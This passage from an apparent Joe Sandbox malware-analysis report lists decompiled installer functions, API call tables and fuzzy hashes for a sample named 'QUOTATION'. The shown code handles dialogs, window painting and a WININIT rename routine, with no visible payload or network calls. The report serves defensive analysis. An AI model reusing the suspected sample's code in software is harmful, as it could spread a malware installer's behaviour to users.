										if(_t212 != 0) {
											_t300 =  *_t322;
											_v72 = _t212;
											_v76 = 8;
											if((_t300 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t322[4]);
												_t322[0] = _t322[0] & 0x000000fe;
											}
											if((_t300 & 0x00000040) == 0) {
												_t216 = (_t300 & 0x00000001) + 1;
												if((_t300 & 0x00000010) != 0) {
													_t216 = _t216 + 3;
												}
											} else {
												_t216 = 3;
											}
											_v68 = (_t216 << 0x0000000b | _t300 & 0x00000008) + (_t216 << 0x0000000b | _t300 & 0x00000008) | _t300 & 0x00000020;
											SendMessageA(_v8, 0x1102, (_t300 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageA(_v8, 0x110d, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t322 =  &(_t322[0x106]);
									} while (_v24 <  *0x42374c);
									goto L86;
								} else {
									_t323 = E004012E2( *0x41fd00);
									E00401299(_t323);
									_t227 = 0;
									_t298 = 0;
									if(_t323 <= 0) {
										L74:
										SendMessageA(_v12, 0x14e, _t298, 0);
										_a16 = _t323;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t227 * 4)) != 0) {
											_t298 = _t298 + 1;
										}
										_t227 = _t227 + 1;
									} while (_t227 < _t323);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L91;
						} else {
							_t237 = SendMessageA(_v12, 0x147, 0, 0);
							if(_t237 == 0xffffffff) {
								goto L91;
							}
							_t324 = SendMessageA(_v12, 0x150, _t237, 0);
							if(_t324 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t324 * 4)) == 0) {
								_t324 = 0x20;
							}
							E00401299(_t324);
							SendMessageA(_a4, 0x420, 0, _t324);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					 *0x423780 = _a4;
					_v20 = 2;
					 *0x41fd00 = GlobalAlloc(0x40,  *0x42374c << 2);
					_t264 = LoadImageA( *0x423700, 0x6e, 0, 0, 0, 0);
					 *0x41fcf4 =  *0x41fcf4 | 0xffffffff;
					_v16 = _t264;
					 *0x41fcfc = SetWindowLongA(_v8, 0xfffffffc, 0x405075);
					_t266 = ImageList_Create(_t320, _t320, 0x21, 6, 0);
					 *0x41fcec = _t266;
					ImageList_AddMasked(_t266, _v16, 0xff00ff);
					SendMessageA(_v8, 0x1109, 2,  *0x41fcec);
					if(SendMessageA(_v8, 0x111c, 0, 0) < _t320) {
						SendMessageA(_v8, 0x111b, _t320, 0);
					}
					DeleteObject(_v16);
					_t327 = 0;
					do {
						_t272 =  *((intOrPtr*)(_v28 + _t327 * 4));
						if( *((intOrPtr*)(_v28 + _t327 * 4)) != 0) {
							if(_t327 != 0x20) {
								_v20 = 0;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, 0, E00405FFC(0, _t327, _t331, 0, _t272)), _t327);
						}
						_t327 = _t327 + 1;
					} while (_t327 < 0x21);
					_t328 = _a16;
					_push( *((intOrPtr*)(_t328 + 0x30 + _v20 * 4)));
					_push(0x15);
					E00404068(_a4);
					_push( *((intOrPtr*)(_t328 + 0x34 + _v20 * 4)));
					_push(0x16);
					E00404068(_a4);
					_t329 = 0;
					_v16 = 0;
					if( *0x42374c <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t316 = _v24 + 8;
						_v32 = _t316;
						do {
							_t284 =  &(_t316[0x10]);
							if( *_t284 != 0) {
								_v64 = _t284;
								_t285 =  *_t316;
								_v88 = _v16;
								_t308 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t308;
								_v44 = _t329;
								_v72 = _t285 & _t308;
								if((_t285 & 0x00000002) == 0) {
									if((_t285 & 0x00000004) == 0) {
										_t287 = SendMessageA(_v8, 0x1100, 0,  &_v88);
										_t309 =  *0x41fd00; // 0x0
										 *(_t309 + _t329 * 4) = _t287;
									} else {
										_v16 = SendMessageA(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t290 = SendMessageA(_v8, 0x1100, 0,  &_v88);
									_t310 =  *0x41fd00; // 0x0
									_v36 = 1;
									 *(_t310 + _t329 * 4) = _t290;
									_t291 =  *0x41fd00; // 0x0
									_v16 =  *(_t291 + _t329 * 4);
								}
							}
							_t329 = _t329 + 1;
							_t316 =  &(_v32[0x418]);
							_v32 = _t316;
						} while (_t329 <  *0x42374c);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E0040409D(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E0040409D(_v12);
								L91:
								return E004040CF(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404a8b
0x00404a93
0x00404a9b
0x00404aa1
0x00404ab9
0x00404abc
0x00404abd
0x00404cea
0x00404cf1
0x00404d05
0x00404cf3
0x00404cf5
0x00404cf8
0x00404cf9
0x00404d00
0x00404d00
0x00404d11
0x00404d1f
0x00404d22
0x00404d38
0x00404dad
0x00404db0
0x00404db2
0x00404dbc
0x00404dca
0x00404dca
0x00404dcc
0x00404dd6
0x00404ddc
0x00404ddf
0x00404de2
0x00404dfd
0x00404de4
0x00404dee
0x00404dee
0x00404de2
0x00404dd6
0x00000000
0x00404db0
0x00404d3d
0x00404d48
0x00404d4d
0x00404d54
0x00404d59
0x00404d5d
0x00404d68
0x00404d68
0x00404d6c
0x00404d70
0x00404d74
0x00404d87
0x00404d76
0x00404d76
0x00404d7d
0x00404d83
0x00404d7f
0x00404d7f
0x00404d7f
0x00404d7d
0x00404d8b
0x00404d8d
0x00404da0
0x00404da3
0x00404da6
0x00404da6
0x00404d70
0x00000000
0x00404d5d
0x00404d3f
0x00404d46
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404e00
0x00404e00
0x00404e07
0x00404e78
0x00404e80
0x00404e88
0x00404e88
0x00404e91
0x00404e93
0x00404e9a
0x00404e9d
0x00404e9d
0x00404ea3
0x00404eaa
0x00404ead
0x00404ead
0x00404eb3
0x00404eb9
0x00404ebf
0x00404ebf
0x00404ecc
0x00405022
0x00405029
0x00405046
0x0040504c
0x0040505e
0x0040505e
0x00000000
0x00404ed2
0x00404ed4
0x00404ed9
0x00404ede
0x00404ee3
0x00404ee5
0x00404ee5
0x00404ee6
0x00404ee7
0x00404ee9
0x00404ee9
0x00404ef1
0x00404f32
0x00404f34
0x00404f39
0x00404f44
0x00404f47
0x00404f4c
0x00404f53
0x00404f56
0x00404ff8
0x00404ffe
0x00405004
0x0040500c
0x0040501d
0x0040501d
0x00000000
0x0040500c
0x00404f5c
0x00404f5f
0x00404f65
0x00404f6a
0x00404f6c
0x00404f6e
0x00404f74
0x00404f7b
0x00404f80
0x00404f87
0x00404f8a
0x00404f8a
0x00404f91
0x00404f9d
0x00404fa1
0x00404fa3
0x00404fa3
0x00404f93
0x00404f95
0x00404f95
0x00404fc3
0x00404fcf
0x00404fde
0x00404fde
0x00404fe0
0x00404fe3
0x00404fec
0x00000000
0x00404ef3
0x00404efe
0x00404f01
0x00404f06
0x00404f08
0x00404f0c
0x00404f1c
0x00404f26
0x00404f28
0x00404f2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00404f0e
0x00404f0e
0x00404f14
0x00404f16
0x00404f16
0x00404f17
0x00404f18
0x00000000
0x00404f0e
0x00404ef1
0x00404ecc
0x00404e0f
0x00000000
0x00404e25
0x00404e2f
0x00404e34
0x00000000
0x00000000
0x00404e46
0x00404e4b
0x00404e57
0x00404e57
0x00404e59
0x00404e68
0x00404e6a
0x00404e6e
0x00404e71
0x00000000
0x00404e71
0x00404e0f
0x00404ac3
0x00404ac6
0x00404ac9
0x00404ad9
0x00404aec
0x00404af7
0x00404afd
0x00404b0b
0x00404b1e
0x00404b23
0x00404b2e
0x00404b37
0x00404b4d
0x00404b5d
0x00404b69
0x00404b69
0x00404b6e
0x00404b74
0x00404b76
0x00404b79
0x00404b7e
0x00404b83
0x00404b85
0x00404b85
0x00404ba5
0x00404ba5
0x00404ba7
0x00404ba8
0x00404bad
0x00404bb3
0x00404bb7
0x00404bbc
0x00404bc4
0x00404bc8
0x00404bcd
0x00404bd2
0x00404bda
0x00404bdd
0x00404cac
0x00404cbf
0x00000000
0x00404be3
0x00404be6
0x00404be9
0x00404bec
0x00404bec
0x00404bf1
0x00404bfa
0x00404bfd
0x00404c01
0x00404c04
0x00404c07
0x00404c10
0x00404c19
0x00404c1c
0x00404c1f
0x00404c22
0x00404c60
0x00404c83
0x00404c85
0x00404c8b
0x00404c62
0x00404c71
0x00404c71
0x00404c24
0x00404c27
0x00404c35
0x00404c3f
0x00404c41
0x00404c47
0x00404c4e
0x00404c51
0x00404c59
0x00404c59
0x00404c22
0x00404c91
0x00404c92
0x00404c9e
0x00404c9e
0x00404caa
0x00404cc5
0x00404cc8
0x00404ce5
0x00000000
0x00404cca
0x00404ccf
0x00404cd8
0x00405060
0x00405072
0x00405072
0x00404cc8
0x00000000
0x00404caa
0x00404bdd

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404A84
GetDlgItem.USER32(?,00000408), ref: 00404A91
GlobalAlloc.KERNEL32(00000040,?), ref: 00404AE0
LoadImageA.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404AF7
SetWindowLongA.USER32(?,000000FC,00405075), ref: 00404B11
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404B23
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404B37
SendMessageA.USER32(?,00001109,00000002), ref: 00404B4D
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404B59
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404B69
DeleteObject.GDI32(00000110), ref: 00404B6E
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404B99
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404BA5
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C3F
SendMessageA.USER32(?,0000110A,00000003,00000110), ref: 00404C6F

Part of subcall function 0040409D: SendMessageA.USER32(00000028,?,00000001,00403ECD), ref: 004040AB

SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C83
GetWindowLongA.USER32(?,000000F0), ref: 00404CB1
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404CBF
ShowWindow.USER32(?,00000005), ref: 00404CCF
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404DCA
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404E2F
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404E44
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404E68
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404E88
ImageList_Destroy.COMCTL32(00000000), ref: 00404E9D
GlobalFree.KERNEL32(00000000), ref: 00404EAD
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404F26
SendMessageA.USER32(?,00001102,?,?), ref: 00404FCF
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404FDE
InvalidateRect.USER32(?,00000000,00000001), ref: 00404FFE
ShowWindow.USER32(?,00000000), ref: 0040504C
GetDlgItem.USER32(?,000003FE), ref: 00405057
ShowWindow.USER32(00000000), ref: 0040505E

Strings

, xrefs: 00405036
.I, xrefs: 00405004
N, xrefs: 00404D08
M, xrefs: 00404C27

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $.I$M$N
API String ID: 2564846305-2843368828
Opcode ID: 6c91a6865aeac2cc1bc81da0427ec232e576c845fbda25fe1dd31a6c378936cd
Instruction ID: 966653e8360bab3e2fc21879108ab338c3bc3285e0cd99f232f5bc98bb3d6c0f
Opcode Fuzzy Hash: 6c91a6865aeac2cc1bc81da0427ec232e576c845fbda25fe1dd31a6c378936cd
Instruction Fuzzy Hash: 86025CB0900209AFDB10DF64DC45AAE7BB9FB84314F10813AFA15BA2E0D7799E41DF58

Uniqueness

Uniqueness Score: -1.00%

Function 004041D3 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 202
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004041D3(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				intOrPtr _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t103;
				signed int _t106;
				intOrPtr _t107;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L11:
						__eflags = _a8 - 0x4e;
						if(_a8 != 0x4e) {
							__eflags = _a8 - 0x40b;
							if(_a8 == 0x40b) {
								 *0x41ecd4 =  *0x41ecd4 + 1;
								__eflags =  *0x41ecd4;
							}
							L25:
							_t110 = _a16;
							L26:
							return E004040CF(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						__eflags =  *((intOrPtr*)(_t110 + 8)) - 0x70b;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b) {
							__eflags =  *((intOrPtr*)(_t110 + 0xc)) - 0x201;
							if( *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
								_t100 =  *((intOrPtr*)(_t110 + 0x1c));
								_t109 =  *((intOrPtr*)(_t110 + 0x18));
								_v12 = _t100;
								__eflags = _t100 - _t109 - 0x800;
								_v16 = _t109;
								_v8 = 0x4226a0;
								if(_t100 - _t109 < 0x800) {
									SendMessageA(_t52, 0x44b, 0,  &_v16);
									SetCursor(LoadCursorA(0, 0x7f02));
									_push(1);
									E00404477(_a4, _v8);
									SetCursor(LoadCursorA(0, 0x7f00));
									_t110 = _a16;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t110 + 8)) - 0x700;
						if( *((intOrPtr*)(_t110 + 8)) != 0x700) {
							goto L26;
						} else {
							__eflags =  *((intOrPtr*)(_t110 + 0xc)) - 0x100;
							if( *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
								goto L26;
							}
							__eflags =  *((intOrPtr*)(_t110 + 0x10)) - 0xd;
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x423708, 0x111, 1, 0);
							}
							__eflags =  *((intOrPtr*)(_t110 + 0x10)) - 0x1b;
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x423708, 0x10, 0, 0);
							}
							return 1;
						}
					}
					__eflags = _a12 >> 0x10;
					if(_a12 >> 0x10 != 0) {
						goto L25;
					}
					__eflags =  *0x41ecd4; // 0x0
					if(__eflags != 0) {
						goto L25;
					}
					_t103 =  *0x41f4e0; // 0x49cc1c
					_t25 = _t103 + 0x14; // 0x49cc30
					_t112 = _t25;
					__eflags =  *_t112 & 0x00000020;
					if(( *_t112 & 0x00000020) == 0) {
						goto L25;
					}
					_t106 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
					__eflags = _t106;
					 *_t112 = _t106;
					E0040408A(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
					E00404453();
					goto L11;
				} else {
					_t98 = _a16;
					_t113 =  *(_t98 + 0x30);
					if(_t113 < 0) {
						_t107 =  *0x422edc; // 0x49e62e
						_t113 =  *(_t107 - 4 + _t113 * 4);
					}
					_push( *((intOrPtr*)(_t98 + 0x34)));
					_t114 = _t113 +  *0x423758;
					_push(0x22);
					_a16 =  *_t114;
					_v12 = _v12 & 0x00000000;
					_t115 = _t114 + 1;
					_v16 = _t115;
					_v8 = E0040419E;
					E00404068(_a4);
					_push( *((intOrPtr*)(_t98 + 0x38)));
					_push(0x23);
					E00404068(_a4);
					CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
					E0040408A( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
					_t99 = GetDlgItem(_a4, 0x3e8);
					E0040409D(_t99);
					SendMessageA(_t99, 0x45b, 1, 0);
					_t86 =  *( *0x423714 + 0x68);
					if(_t86 < 0) {
						_t86 = GetSysColor( ~_t86);
					}
					SendMessageA(_t99, 0x443, 0, _t86);
					SendMessageA(_t99, 0x445, 0, 0x4010000);
					SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
					 *0x41ecd4 = 0;
					SendMessageA(_t99, 0x449, _a16,  &_v16);
					 *0x41ecd4 = 0;
					return 0;
				}
			}

0x004041e3
0x004042f5
0x00404308
0x00404364
0x00404364
0x00404368
0x0040442e
0x00404435
0x00404437
0x00404437
0x00404437
0x0040443d
0x0040443d
0x00404440
0x00000000
0x00404447
0x00404376
0x00404378
0x0040437b
0x00404382
0x00404384
0x0040438b
0x0040438d
0x00404390
0x00404393
0x00404398
0x0040439e
0x004043a1
0x004043a8
0x004043b6
0x004043ce
0x004043d0
0x004043d8
0x004043e7
0x004043e9
0x004043e9
0x004043a8
0x0040438b
0x004043ec
0x004043f3
0x00000000
0x004043f5
0x004043f5
0x004043fc
0x00000000
0x00000000
0x004043fe
0x00404402
0x00404413
0x00404413
0x00404415
0x00404419
0x00404427
0x00404427
0x00000000
0x0040442b
0x004043f3
0x00404310
0x00404313
0x00000000
0x00000000
0x0040431b
0x00404321
0x00000000
0x00000000
0x00404327
0x0040432d
0x0040432d
0x00404330
0x00404333
0x00000000
0x00000000
0x00404356
0x00404356
0x00404358
0x0040435a
0x0040435f
0x00000000
0x004041e9
0x004041e9
0x004041ec
0x004041f1
0x004041f3
0x00404202
0x00404202
0x00404209
0x0040420c
0x0040420e
0x00404213
0x0040421c
0x00404222
0x0040422e
0x00404231
0x0040423a
0x0040423f
0x00404242
0x00404247
0x0040425e
0x00404265
0x00404278
0x0040427b
0x00404290
0x00404297
0x0040429c
0x004042a1
0x004042a1
0x004042b0
0x004042bf
0x004042d1
0x004042d6
0x004042e6
0x004042e8
0x00000000
0x004042ee

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 0040425E
GetDlgItem.USER32(00000000,000003E8), ref: 00404272
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 00404290
GetSysColor.USER32(?), ref: 004042A1
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 004042B0
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 004042BF
lstrlenA.KERNEL32(?), ref: 004042C2
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004042D1
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004042E6
GetDlgItem.USER32(?,0000040A), ref: 00404348
SendMessageA.USER32(00000000), ref: 0040434B
GetDlgItem.USER32(?,000003E8), ref: 00404376
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004043B6
LoadCursorA.USER32(00000000,00007F02), ref: 004043C5
SetCursor.USER32(00000000), ref: 004043CE
LoadCursorA.USER32(00000000,00007F00), ref: 004043E4
SetCursor.USER32(00000000), ref: 004043E7
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404413
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404427

Strings

.I, xrefs: 004041F3
Call, xrefs: 004043A1
N, xrefs: 00404364

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: .I$Call$N
API String ID: 3103080414-2294381358
Opcode ID: aedf8a6b2f60594d9aa2a20867b53785746c99fe12f07fbfb1ee765dbd043f7e
Instruction ID: a86fe1b261e308fa50e110e5a31abfd90c360c5de8850f7aae14d0f145b03158
Opcode Fuzzy Hash: aedf8a6b2f60594d9aa2a20867b53785746c99fe12f07fbfb1ee765dbd043f7e
Instruction Fuzzy Hash: 1561A0B1A00209BBEB109F61DD45F6A7B69FB84705F008036FB01BA2D1C7B8A951CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x423714;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, 0x422f00, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x423708;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00422F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a5e12e9d17b50a3f423cea0afacbb368398e6ec861f9ad0eaee1311db9104a5d
Instruction ID: e0713781b635691343a74aeb4589e3ea90c77733c460a74728c978b7faf409cc
Opcode Fuzzy Hash: a5e12e9d17b50a3f423cea0afacbb368398e6ec861f9ad0eaee1311db9104a5d
Instruction Fuzzy Hash: A7419C71804249AFCF058FA4CD459BFBFB9FF44310F00812AF561AA2A0C738AA50DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405C49 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 129
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C49(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				CHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x421a98 = 0x4c554e;
				if(_t44 == 0) {
					L3:
					_t12 = GetShortPathNameA( *(_t52 + 0x1c), 0x421e98, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x421698, "%s=%s\r\n", 0x421a98, 0x421e98);
						_t53 = _t52 + 0x10;
						E00405FFC(_t37, 0x400, 0x421e98, 0x421e98,  *((intOrPtr*)( *0x423714 + 0x128)));
						_t12 = E00405B73(0x421e98, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E00405BEB(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405AD8(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405AD8(_t38, _t21 + 0xa, 0x4093b8);
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405B2E(_t24 + _t46, 0x421698, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E00405C1A(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
